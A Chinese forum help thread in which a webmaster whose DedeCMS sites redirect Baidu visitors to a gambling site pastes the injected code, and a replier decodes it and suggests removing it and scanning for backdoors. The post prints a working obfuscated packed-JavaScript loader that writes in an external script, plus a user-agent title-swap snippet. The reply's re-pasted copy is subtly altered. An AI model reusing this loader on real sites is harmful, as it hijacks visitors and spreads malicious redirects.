网站被挂马了 求大佬看下应该怎么解决 谢谢谢谢 推荐热议 悬赏3元 已结束
织梦程序做的站 最新版的织梦 该打的补丁也打了。 360网站安全检测也没问题全绿
现在情况是一到晚上 百度搜索点击网站打开直接跳转到一个菠菜网站。但是我直接输入域名的话没事。 我在后台更新下主页 这个问题就没了。。
我也查了网站程序文件 近期修改的文件 有几个疑似冰毒文件PHP后缀的我也删掉了 但是现在还是反复出现跳转页面。。
右键查看源代码 头部多了以下木马代码：（但是我查源码里面又没有这些网页上多出来的代码。）
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="智能中国网_国内领先的AI智能科技门户"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\n\\b\\1\\e\\j\\7\\o\\0"]["\\l\\3\\8\\0\\7"](\'\\i\\2\\1\\3\\8\\4\\0 \\0\\k\\4\\7\\d\\6\\0\\7\\s\\0\\5\\f\\c\\t\\c\\2\\1\\3\\8\\4\\0\\6 \\2\\3\\1\\d\\6\\9\\0\\0\\4\\2\\p\\5\\5\\2\\a\\9\\e\\a\\9\\r\\g\\1\\b\\j\\5\\k\\q\\1\\g\\f\\2\\6\\h\\i\\5\\2\\1\\3\\8\\4\\0\\h\');',30,30,'x74|x63|x73|x72|x70|x2f|x22|x65|x69|x68|x66|x6f|x61|x3d|x75|x6a|x2e|x3e|x3c|x6d|x79|x77|window|x64|x6e|x3a|x6c|x32|x78|x76'.split('|'),0,{}))
</script>
这应该是XSS攻击 我同一个服务器上放了10个站 有6个出现这种一样的情况 这是服务器被挂马还是网站挂马？求大佬告诉怎么解决
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\n\\b\\1\\e\\j\\7\\o\\0"]["\\l\\3\\8\\0\\7"](\'\\i\\2\\1\\3\\8\\4\\0 \\0\\k\\4\\7\\d\\6\\0\\7\\s\\0\\5\\f\\c\\t\\c\\2\\1\\3\\8\\4\\0\\6 \\2\\3\\1\\d\\6\\9\\0\\0\\4\\2\\p\\5\\5\\2\\a\\9\\e\\a\\9\\r\\g\\1\\b\\j\\5\\k\\q\\1\\g\\f\\2\\6\\h\\i\\5\\2\\1\\3\\8\\4\\0\\h\');',30,30,'x74|x63|x73|x72|x70|x2f|x22|x65|x69|x68|x66|x6f|x61|x3d|x75|x6a|x2e|x3e|x3c|x6d|x79|x77|window|x64|x6e|x3a|x6c|x32|x78|x76'.split('|'),0,{}))
</script>
< script type = "text/javascript" > window["document"]["write"]('<script type="text/javascript" src=""></script>'); < /script>这是解密后的代码，你把这代码删掉，你的网站应该也被留有后门了，用D盾可以查一下后门，然后在查找下文件的修改日期看一下，找出来哪些D盾查不到的文件，请给最佳谢谢
这是你那一大堆解密之后的，后边的应该懂得噻
< script type = "text/javascript" > window["document"]["write"]('<script type="text/javascript" src=""></script>'); < /script>
如果解决不了，可以加我Q，看头像右边
